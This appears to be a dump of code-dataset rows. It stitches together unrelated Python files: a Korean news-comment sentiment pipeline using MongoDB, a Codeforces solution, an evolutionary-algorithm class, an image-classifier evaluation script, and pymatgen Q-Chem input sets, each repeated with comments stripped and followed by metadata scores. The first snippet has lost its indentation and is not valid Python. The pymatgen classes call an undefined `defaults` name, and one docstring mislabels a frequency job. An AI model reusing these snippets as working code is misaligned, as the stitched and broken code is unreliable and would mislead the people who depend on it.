else:
modelType1 = 'CBOW'
modelType2 = re.search('cbow_mean-[0-1]', fileName)
modelType2 = modelType2.group()
modelType = modelType1 + '_' + modelType2
elif modelIs == 'fastText':
modelType1 = re.search('(sg-[0-1])', fileName)
modelType1 = modelType1.group()
if re.search('[0-1]', modelType1).group() == '1':
modelType1 = 'skip-gram'
else:
modelType1 = 'CBOW'
modelType2 = re.search('cbow_mean-[0-1]', fileName)
modelType2 = modelType2.group()
modelType = modelType1 + '_' + modelType2
modelIs = '{}_{}'.format(modelIs,modelType)
return modelIs, tagger
def PredictSentiment(infer_vec, clsName, classifier):
from sklearn.preprocessing import scale
import numpy as np
from tqdm import tqdm
import xgboost as xgb
from itertools import chain
tqdm.pandas(desc="progress-bar")
if clsName.startswith('XGBoost'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
dData = xgb.DMatrix(vecs_w2v)
pred = classifier.predict(dData)
pred = pred.round()
del dData
elif clsName.startswith('NeuralNetwork'):
vecs_w2v = np.concatenate([z.reshape(1, -1) for z in tqdm(map(lambda x: x, infer_vec))])
vecs_w2v = scale(vecs_w2v)
pred = classifier.predict_classes(vecs_w2v)
pred = np.array(list(chain.from_iterable(pred)))
else:
pred = classifier.predict(infer_vec)
return clsName, pred
def Read_Comments(row):
import pandas as pd
import Database_Handler as dh
mongodb = dh.ToMongoDB(*dh.GCP_MongoDB_Information())
dbname = 'hy_db'
useDB = dh.Use_Database(mongodb, dbname)
commentCollection = dh.Use_Collection(useDB, 'comments')
info = {'site': row['site'],
'category': row['category'],
'date': row['date'],
'rank': str(row['rank'])}
commentsForNews = commentCollection.find(info)
commentsForNews = pd.DataFrame(list(commentsForNews))
realNumCount = commentsForNews.shape
print(realNumCount)
return commentsForNews
def Make_Comments_File(filepath, row):
import Basic_Module as bm
import os
filename = row.name
absPath = os.path.join(filepath, filename + '.csv')
if os.path.isfile(absPath):
pass
else:
comments = bm.Read_Comments(row)
comments.to_csv(absPath, index=None, header=True, encoding='utf-8')
def Read_Comments2(row):
import pandas as pd
import Database_Handler as dh
mongodb = dh.ToMongoDB(*dh.GCP_MongoDB_Information())
dbname = 'hy_db'
useDB = dh.Use_Database(mongodb, dbname)
commentCollection = dh.Use_Collection(useDB, 'comments')
info = {'site': row['site'],
'category': row['category'],
'date': row['date'],
'rank': int(row['rank'])}
commentsForNews = commentCollection.find(info)
commentsForNews = pd.DataFrame(list(commentsForNews))
realNumCount = commentsForNews.shape
print(realNumCount)
return commentsForNews
def Make_Comments_File2(filepath, row):
import Basic_Module as bm
import os
filename = row.name
absPath = os.path.join(filepath, filename + '.csv')
if os.path.isfile(absPath):
pass
else:
comments = Read_Comments2(row)
comments.to_csv(absPath, index=None, header=True, encoding='utf-8')
# row : index : id
# file : <>.csv
def Read_CommentsFile(filepath, row):
import os
import pandas as pd
filename = row.name + '.csv'
absFilePath = os.path.join(filepath, filename)
df = pd.read_csv(absFilePath, encoding='utf-8', header=0, index_col=None)
df = df[~df.comments.isna()]
df = df[df.comments.str.match('.+[0-9a-zA-Z가-힣ㄱ-하-ㅣ]+')]
# 댓글중에서 문자가 적어도 하나는 있는 것만.
return df
def TokenizeAndTag(tagger, row, stopwords, tagDoc):
pos = nav_tokenizer(tagger, row.comments, stopwords)
category= [row.site + '_' + row.category.strip() + '_' + row.date + '_' + str(row['rank']) + '_' + str(row.name)]
label = row._id
return tagDoc(pos, label, category)
def RunClassifier(rawdata, infer_vectors, path, name):
import warnings
warnings.filterwarnings('ignore')
from glob import glob
import pandas as pd
classifierList = glob(path + '*' + name)
loadClassifierDict = dict(map(lambda x: LoadClassifier(x), classifierList))
df = dict(map(lambda x: PredictSentiment(infer_vectors, x, loadClassifierDict[x]), loadClassifierDict))
df = pd.DataFrame.from_dict(df)
df = rawdata.merge(df, left_index=True, right_index=True)
return df
def MakeTaggedData_For_Comments(df, taggedDoc, tagger, stopwords):
from tqdm import tqdm
tqdm.pandas(desc="progress-bar")
w2v_docs = list()
for idx in tqdm(df.index):
data = df.loc[idx]
text = data['comments']
pos = nav_tokenizer2(tagger, text, stopwords)
category = [data.site + '_' + data.category.strip() + '_' + data.date + '_' + str(data['rank']) + '_' + str(data.name)]
label = data._id
w2v_docs.append(taggedDoc(pos, label, category))
return w2v_docs | en | 0.60984 | # coding: utf-8 # # Train Classifier For News Classification # > ## * Word2Vec Plot model history after `fit()`. # summarize history for accuracy # summarize history for loss # putting everything in a dataframe # plotting. the corresponding word appears when you hover on the data point. # handling the case where the token is not # in the corpus. useful for testing. # In[26]: # row : index : id # file : <>.csv # 댓글중에서 문자가 적어도 하나는 있는 것만. | 3.041535 | 3 |
codeforces.com/1527A/solution.py | zubtsov/competitive-programming | 0 | 6616247 | <filename>codeforces.com/1527A/solution.py
from math import log2, floor
for t in range(int(input())):
i = int(input())
print((1 << floor(log2(i))) - 1)
| <filename>codeforces.com/1527A/solution.py
from math import log2, floor
for t in range(int(input())):
i = int(input())
print((1 << floor(log2(i))) - 1)
| none | 1 | 3.356168 | 3 | |
src/stk/ea/evolutionary_algorithm/implementations/serial.py | stevenbennett96/stk | 21 | 6616248 | """
Serial Evolutionary Algorithm
=============================
"""
from .implementation import Implementation
class Serial(Implementation):
"""
A serial implementation of the default evolutionary algorithm.
"""
def get_generations(self, num_generations):
yield from self._get_generations(num_generations, map)
| """
Serial Evolutionary Algorithm
=============================
"""
from .implementation import Implementation
class Serial(Implementation):
"""
A serial implementation of the default evolutionary algorithm.
"""
def get_generations(self, num_generations):
yield from self._get_generations(num_generations, map)
| en | 0.517388 | Serial Evolutionary Algorithm ============================= A serial implementation of the default evolutionary algorithm. | 2.16868 | 2 |
eval-perf.py | jakehlee/alexa-stop | 0 | 6616249 | """
Generates classification statistics for a test set on the provided model weights
"""
import sys, os
import numpy as np
import matplotlib.pyplot as plt
import time
from datetime import datetime
import torch
import torch.nn as nn
import torch.optim as optim
from torch.optim import lr_scheduler
import torchvision
from torchvision import datasets, models, transforms
from sklearn.metrics import classification_report
WEIGHTS = "weights/21epochs-0.8312val-0509-1841.pt"
def usage():
print("Usage: python eval-perf.py OURdata/")
if __name__ == "__main__":
if len(sys.argv) != 2:
usage()
else:
test_dir = sys.argv[1]
# define data transforms
test_transforms = transforms.Compose([
transforms.Resize(224),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])
])
test_dataset = datasets.ImageFolder(test_dir, test_transforms)
print("test set", len(test_dataset))
test_loader = torch.utils.data.DataLoader(
test_dataset,
batch_size=64,
shuffle=True,
num_workers=4)
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print(torch.cuda.current_device())
criterion = nn.CrossEntropyLoss()
# import model
model = models.resnet50(pretrained=False)
num_in = model.fc.in_features
model.fc = nn.Linear(num_in, 2)
if torch.cuda.is_available():
model.load_state_dict(torch.load(WEIGHTS))
else:
model.load_state_dict(torch.load(WEIGHTS, map_location=torch.device('cpu')))
model = model.to(device)
model.eval()
test_loss = 0.0
test_corrects = 0
all_labels = []
all_preds = []
for inputs, labels in test_loader:
inputs = inputs.to(device)
labels = labels.to(device)
with torch.set_grad_enabled(False):
outputs = model(inputs)
_, preds = torch.max(outputs, 1)
loss = criterion(outputs, labels)
all_labels += list(labels.to('cpu'))
all_preds += list(preds.to('cpu'))
test_loss += loss.item() * inputs.size(0)
test_corrects += torch.sum(preds == labels.data)
epoch_test_loss = test_loss / len(test_dataset)
epoch_test_acc = test_corrects.double() / len(test_dataset)
print("Test Loss: {:.4f} Acc: {:.4f}".format(epoch_test_loss,
epoch_test_acc))
print(classification_report(all_labels, all_preds, target_names=['bad', 'good'])) | """
Generates classification statistics for a test set on the provided model weights
"""
import sys, os
import numpy as np
import matplotlib.pyplot as plt
import time
from datetime import datetime
import torch
import torch.nn as nn
import torch.optim as optim
from torch.optim import lr_scheduler
import torchvision
from torchvision import datasets, models, transforms
from sklearn.metrics import classification_report
WEIGHTS = "weights/21epochs-0.8312val-0509-1841.pt"
def usage():
print("Usage: python eval-perf.py OURdata/")
if __name__ == "__main__":
if len(sys.argv) != 2:
usage()
else:
test_dir = sys.argv[1]
# define data transforms
test_transforms = transforms.Compose([
transforms.Resize(224),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])
])
test_dataset = datasets.ImageFolder(test_dir, test_transforms)
print("test set", len(test_dataset))
test_loader = torch.utils.data.DataLoader(
test_dataset,
batch_size=64,
shuffle=True,
num_workers=4)
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
print(torch.cuda.current_device())
criterion = nn.CrossEntropyLoss()
# import model
model = models.resnet50(pretrained=False)
num_in = model.fc.in_features
model.fc = nn.Linear(num_in, 2)
if torch.cuda.is_available():
model.load_state_dict(torch.load(WEIGHTS))
else:
model.load_state_dict(torch.load(WEIGHTS, map_location=torch.device('cpu')))
model = model.to(device)
model.eval()
test_loss = 0.0
test_corrects = 0
all_labels = []
all_preds = []
for inputs, labels in test_loader:
inputs = inputs.to(device)
labels = labels.to(device)
with torch.set_grad_enabled(False):
outputs = model(inputs)
_, preds = torch.max(outputs, 1)
loss = criterion(outputs, labels)
all_labels += list(labels.to('cpu'))
all_preds += list(preds.to('cpu'))
test_loss += loss.item() * inputs.size(0)
test_corrects += torch.sum(preds == labels.data)
epoch_test_loss = test_loss / len(test_dataset)
epoch_test_acc = test_corrects.double() / len(test_dataset)
print("Test Loss: {:.4f} Acc: {:.4f}".format(epoch_test_loss,
epoch_test_acc))
print(classification_report(all_labels, all_preds, target_names=['bad', 'good'])) | en | 0.738404 | Generates classification statistics for a test set on the provided model weights # define data transforms # import model | 2.409271 | 2 |
pymatgen/io/qchem_io/sets.py | g1e2n04/pymatgen | 0 | 6616250 | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
import logging
from pymatgen.core import Molecule
from pymatgen.io.qchem_io.inputs import QCInput
# Classes for reading/manipulating/writing QChem ouput files.
__author__ = "<NAME>, <NAME>, <NAME>"
__copyright__ = "Copyright 2018, The Materials Project"
__version__ = "0.1"
logger = logging.getLogger(__name__)
class QChemDictSet(QCInput):
"""
Build a QCInput given all the various input parameters. Can be extended by standard implementations below.
"""
def __init__(self, molecule, job_type, basis_set, SCF_algorithm, DFT_rung=4, PCM_solvent=None, max_scf_cycles=200, geom_opt_max_cycles=200):
"""
Args:
molecule (Pymatgen molecule)
job_type (str)
basis_set (str)
SCF_algorithm (str)
DFT_rung (int)
PCM_solvent (str)
max_scf_cycles (int)
geom_opt_max_cycles (int)
"""
if isinstance(molecule, Molecule):
self.molecule = molecule
else:
raise ValueError('molecule must be a Pymatgen Molecule object!')
self.job_type = job_type
self.basis_set = basis_set
self.SCF_algorithm = SCF_algorithm
self.DFT_rung = DFT_rung
self.PCM_solvent = PCM_solvent
self.max_scf_cycles = max_scf_cycles
self.geom_opt_max_cycles = geom_opt_max_cycles
myrem = {}
myrem["job_type"] = job_type
myrem["basis"] = self.basis_set
myrem["max_scf_cycles"] = self.max_scf_cycles
if self.DFT_rung == 1:
myrem["exchange"] = "B3LYP"
elif self.DFT_rung == 2:
myrem["method"] = "B97-D3"
myrem["DFT_D"] = "D3_BJ"
elif self.DFT_rung == 3:
myrem["method"] = "B97M-rV"
elif self.DFT_rung == 4:
myrem["method"] = "wB97X-V"
elif self.DFT_rung == 5:
myrem["method"] = "wB97M-V"
else:
print("DFT_rung should be between 1 and 5!")
if self.job_type.lower() == "opt":
myrem["geom_opt_max_cycles"] = self.geom_opt_max_cycles
if self.PCM_solvent != None:
print("Need PCM input implementation!")
super(QChemDictSet, self).__init__(self.molecule, myrem)
class OptSet(QChemDictSet):
"""
QChemDictSet for a geometry optimization
"""
defaults = {"basis": "6-311++G*", "SCF_algorithm": "diis", "max_scf_cycles": 200, "geom_opt_max_cycles": 200}
def __init__(self, molecule, DFT_rung=4, PCM_solvent=None):
self.basis_set = defaults.get("basis")
self.SCF_algorithm = defaults.get("SCF_algorithm")
self.max_scf_cycles = defaults.get("max_scf_cycles")
self.geom_opt_max_cycles = defaults.get("geom_opt_max_cycles")
super(OptSet, self).__init__(molecule=molecule, job_type="opt", DFT_rung=DFT_rung, PCM_solvent=PCM_solvent, basis_set=self.basis_set, SCF_algorithm=self.SCF_algorithm, max_scf_cycles=self.max_scf_cycles, geom_opt_max_cycles=self.geom_opt_max_cycles)
class SinglePointSet(QChemDictSet):
"""
QChemDictSet for a single point calculation
"""
defaults = {"basis": "6-311++G*", "SCF_algorithm": "diis", "max_scf_cycles": 200}
def __init__(self, molecule, DFT_rung=4, PCM_solvent=None):
self.basis_set = defaults.get("basis")
self.SCF_algorithm = defaults.get("SCF_algorithm")
self.max_scf_cycles = defaults.get("max_scf_cycles")
super(SinglePointSet, self).__init__(molecule=molecule, job_type="sp", DFT_rung=DFT_rung, PCM_solvent=PCM_solvent, basis_set=self.basis_set, SCF_algorithm=self.SCF_algorithm, max_scf_cycles=self.max_scf_cycles)
class FreqSet(QChemDictSet):
"""
QChemDictSet for a single point calculation
"""
defaults = {"basis": "6-311++G*", "SCF_algorithm": "diis", "max_scf_cycles": 200}
def __init__(self, molecule, DFT_rung=4, PCM_solvent=None):
self.basis_set = defaults.get("basis")
self.SCF_algorithm = defaults.get("SCF_algorithm")
self.max_scf_cycles = defaults.get("max_scf_cycles")
super(FreqSet, self).__init__(molecule=molecule, job_type="freq", DFT_rung=DFT_rung, PCM_solvent=PCM_solvent, basis_set=self.basis_set, SCF_algorithm=self.SCF_algorithm, max_scf_cycles=self.max_scf_cycles)
| # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
import logging
from pymatgen.core import Molecule
from pymatgen.io.qchem_io.inputs import QCInput
# Classes for reading/manipulating/writing QChem ouput files.
__author__ = "<NAME>, <NAME>, <NAME>"
__copyright__ = "Copyright 2018, The Materials Project"
__version__ = "0.1"
logger = logging.getLogger(__name__)
class QChemDictSet(QCInput):
"""
Build a QCInput given all the various input parameters. Can be extended by standard implementations below.
"""
def __init__(self, molecule, job_type, basis_set, SCF_algorithm, DFT_rung=4, PCM_solvent=None, max_scf_cycles=200, geom_opt_max_cycles=200):
"""
Args:
molecule (Pymatgen molecule)
job_type (str)
basis_set (str)
SCF_algorithm (str)
DFT_rung (int)
PCM_solvent (str)
max_scf_cycles (int)
geom_opt_max_cycles (int)
"""
if isinstance(molecule, Molecule):
self.molecule = molecule
else:
raise ValueError('molecule must be a Pymatgen Molecule object!')
self.job_type = job_type
self.basis_set = basis_set
self.SCF_algorithm = SCF_algorithm
self.DFT_rung = DFT_rung
self.PCM_solvent = PCM_solvent
self.max_scf_cycles = max_scf_cycles
self.geom_opt_max_cycles = geom_opt_max_cycles
myrem = {}
myrem["job_type"] = job_type
myrem["basis"] = self.basis_set
myrem["max_scf_cycles"] = self.max_scf_cycles
if self.DFT_rung == 1:
myrem["exchange"] = "B3LYP"
elif self.DFT_rung == 2:
myrem["method"] = "B97-D3"
myrem["DFT_D"] = "D3_BJ"
elif self.DFT_rung == 3:
myrem["method"] = "B97M-rV"
elif self.DFT_rung == 4:
myrem["method"] = "wB97X-V"
elif self.DFT_rung == 5:
myrem["method"] = "wB97M-V"
else:
print("DFT_rung should be between 1 and 5!")
if self.job_type.lower() == "opt":
myrem["geom_opt_max_cycles"] = self.geom_opt_max_cycles
if self.PCM_solvent != None:
print("Need PCM input implementation!")
super(QChemDictSet, self).__init__(self.molecule, myrem)
class OptSet(QChemDictSet):
"""
QChemDictSet for a geometry optimization
"""
defaults = {"basis": "6-311++G*", "SCF_algorithm": "diis", "max_scf_cycles": 200, "geom_opt_max_cycles": 200}
def __init__(self, molecule, DFT_rung=4, PCM_solvent=None):
self.basis_set = defaults.get("basis")
self.SCF_algorithm = defaults.get("SCF_algorithm")
self.max_scf_cycles = defaults.get("max_scf_cycles")
self.geom_opt_max_cycles = defaults.get("geom_opt_max_cycles")
super(OptSet, self).__init__(molecule=molecule, job_type="opt", DFT_rung=DFT_rung, PCM_solvent=PCM_solvent, basis_set=self.basis_set, SCF_algorithm=self.SCF_algorithm, max_scf_cycles=self.max_scf_cycles, geom_opt_max_cycles=self.geom_opt_max_cycles)
class SinglePointSet(QChemDictSet):
"""
QChemDictSet for a single point calculation
"""
defaults = {"basis": "6-311++G*", "SCF_algorithm": "diis", "max_scf_cycles": 200}
def __init__(self, molecule, DFT_rung=4, PCM_solvent=None):
self.basis_set = defaults.get("basis")
self.SCF_algorithm = defaults.get("SCF_algorithm")
self.max_scf_cycles = defaults.get("max_scf_cycles")
super(SinglePointSet, self).__init__(molecule=molecule, job_type="sp", DFT_rung=DFT_rung, PCM_solvent=PCM_solvent, basis_set=self.basis_set, SCF_algorithm=self.SCF_algorithm, max_scf_cycles=self.max_scf_cycles)
class FreqSet(QChemDictSet):
"""
QChemDictSet for a single point calculation
"""
defaults = {"basis": "6-311++G*", "SCF_algorithm": "diis", "max_scf_cycles": 200}
def __init__(self, molecule, DFT_rung=4, PCM_solvent=None):
self.basis_set = defaults.get("basis")
self.SCF_algorithm = defaults.get("SCF_algorithm")
self.max_scf_cycles = defaults.get("max_scf_cycles")
super(FreqSet, self).__init__(molecule=molecule, job_type="freq", DFT_rung=DFT_rung, PCM_solvent=PCM_solvent, basis_set=self.basis_set, SCF_algorithm=self.SCF_algorithm, max_scf_cycles=self.max_scf_cycles)
| en | 0.507689 | # coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. # Classes for reading/manipulating/writing QChem ouput files. Build a QCInput given all the various input parameters. Can be extended by standard implementations below. Args: molecule (Pymatgen molecule) job_type (str) basis_set (str) SCF_algorithm (str) DFT_rung (int) PCM_solvent (str) max_scf_cycles (int) geom_opt_max_cycles (int) QChemDictSet for a geometry optimization QChemDictSet for a single point calculation QChemDictSet for a single point calculation | 2.304464 | 2 |